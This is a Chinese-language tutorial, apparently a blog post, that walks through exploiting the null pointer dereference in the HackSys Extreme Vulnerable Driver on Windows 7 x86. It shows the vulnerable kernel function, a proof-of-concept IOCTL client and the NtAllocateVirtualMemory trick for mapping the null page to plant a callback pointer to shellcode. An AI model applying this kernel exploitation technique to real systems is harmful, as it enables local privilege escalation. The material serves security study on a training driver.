上一篇我们学习了任意内存覆盖漏洞,这一节开始学习空指针解引用(NullPointerDereference)。
前几天看的19-1132中也涉及到了这一漏洞,感兴趣的可以研究一哈。
tips:题外话,学海无涯呀,其实有时感觉是挺无聊的,继续坚持!
实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1
实验工具:VS2015+Windbg+KmdManager+DbgViewer
打开驱动程序代码NullPointerDereference.c,看到漏洞函数代码如下:
NTSTATUS TriggerNullPointerDereference( _In_ PVOID UserBuffer ) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag( NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG ); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference\n"); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
代码中,有一处关于MagicValue的检查,通过则向缓冲区赋值,并打印;反之则释放缓冲区,清空指针。再往后,存在漏洞的版本中,未对NullPointerDereference进行检查判断其是否提前被置空,直接调用其内部的回调。
IDA中查看该函数:
如果我们调用了TriggerNullPointerDereference函数并传入该魔数,理论上会执行到该函数且不会触发空指针引用。使用下面的POC来进行测试。
利用之前的方法,我们得到IO控制码0x22202b。
#include<stdio.h> #include<Windows.h> int main() { HANDLE hDevice = NULL; hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { return -1; } printf("[+]Success to get HANDLE!\n"); DWORD bReturn = 0; char buf[4] = { 0 }; *(PDWORD32)(buf) = 0xBAD0B0B0; DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL); return 0; }
验证了代码逻辑是正确的。
当我们传入值与MagicValue值不匹配时,则会触发漏洞。
例如我们传入0xdeadb33f,为了防止BSOD我们看不到数据,加上一个断点。
*(PDWORD32)(buf) = 0xdeadb33f; DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL); _asm{ int 3 }
这里需要注意的是,如何在0页分配一个双字的空间。在rohitab的论坛中,提到了NtAllocateVirtualMemory可以在0页分配内存。
Windows允许低权限用户去映射用户进程的上下文到0页(null page)。尽管VirtualAlloc和VirtualAllocEx在分配的基地址低于0x00001000时都以拒绝访问而告终。然而,利用NtAllocateVirtualMemory函数则没有这样的限制。
在Common.c代码中,我们看到MapNullPage函数也是这样的思路:
hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemory NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } // Allocate the Virtual memory NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处。
typedef struct _NULL_POINTER_DEREFERENCE { ULONG Value; FunctionPointer Callback; } NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;